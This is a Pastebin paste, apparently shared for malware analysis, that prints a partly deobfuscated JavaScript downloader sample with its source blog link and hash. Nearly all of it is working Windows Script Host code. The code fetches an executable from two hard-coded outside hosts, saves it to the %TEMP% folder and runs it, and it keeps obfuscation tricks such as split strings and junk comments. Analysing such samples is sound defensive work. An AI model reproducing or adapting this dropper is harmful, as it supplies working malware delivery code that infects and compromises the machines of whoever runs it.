Snakelabs

deobfuscated JS downloader

Dec 17th, 2015
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.  
  2. source: http://sanesecurity.blogspot.co.il/2015/12/required-your-attention-javascript.html
  3. hash: 026727700e7004fd9e73f2873d561a98220a91059be608db908e0afe85b4e834  
  4.  
  5.  
  6. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  7. var j = "whatdidyaysay.com/80.exe? iamthewinnerhere.com/80.exe? ? ?".split(" ");
  8. var BCE = ((1 /*PwuM121746596n53780uM354193eOiZ*/ ) ? "WScri" : "") + "pt.Shell";
  9. var XQ = WScript.CreateObject(BCE);
  10. var jO = "%TEMP%\\";
  11. var MFd = XQ.ExpandEnvironmentStrings(jO);
  12. var hsI = "2.XMLH";
  13. var vjg = hsI + "TTP";
  14. var VM = true,
  15.     iEIv = "ADOD";
  16. var TZ = WScript.CreateObject("MS" + "XML" + (193985, vjg));
  17. var ElO = WScript.CreateObject(iEIv + "B.St" + (463805, "ream"));
  18. var flO = 0;
  19. var A = 1;
  20. var lIWLNnM = 894743;
  21. for (var m = flO; m < j.length; m++) {
  22.     var Iz = 0;
  23.     try {
  24.         poi = "GET";
  25.         TZ.open(poi, "http://" + j[m] + A, false);
  26.         TZ.send();
  27.         if (TZ.status == 464 - 264) {
  28.             ElO.open();
  29.             ElO.type = 1;
  30.             ElO.write(TZ.responseBody);
  31.             if (ElO.size > 153843 - 687) {
  32.                 Iz = 1;
  33.                 ElO.position = 0;
  34.                 ElO.saveToFile /*60Qz32jeIP*/
  35.                 (MFd /*iiCL37HE2T*/ + lIWLNnM + ".exe", 4 - 2);
  36.                 try {
  37.                     if (((new Date()) > 0, 7994387888)) {
  38.                         XQ. /*d960569TOuz*/
  39.                         Run(MFd + lIWLNnM + /*kAOJ423kFX*/ ".exe", /*PTse83f5dR*/ 3 - 2, 0);
  40.                         break;
  41.                     }
  42.                 } catch (pf) {};
  43.             };
  44.             ElO.close();
  45.         };
  46.         if (Iz == 1) {
  47.             flO = m;
  48.             break;
  49.         };
  50.     } catch (pf) {};
  51. };
Add Comment
Please, Sign In to add comment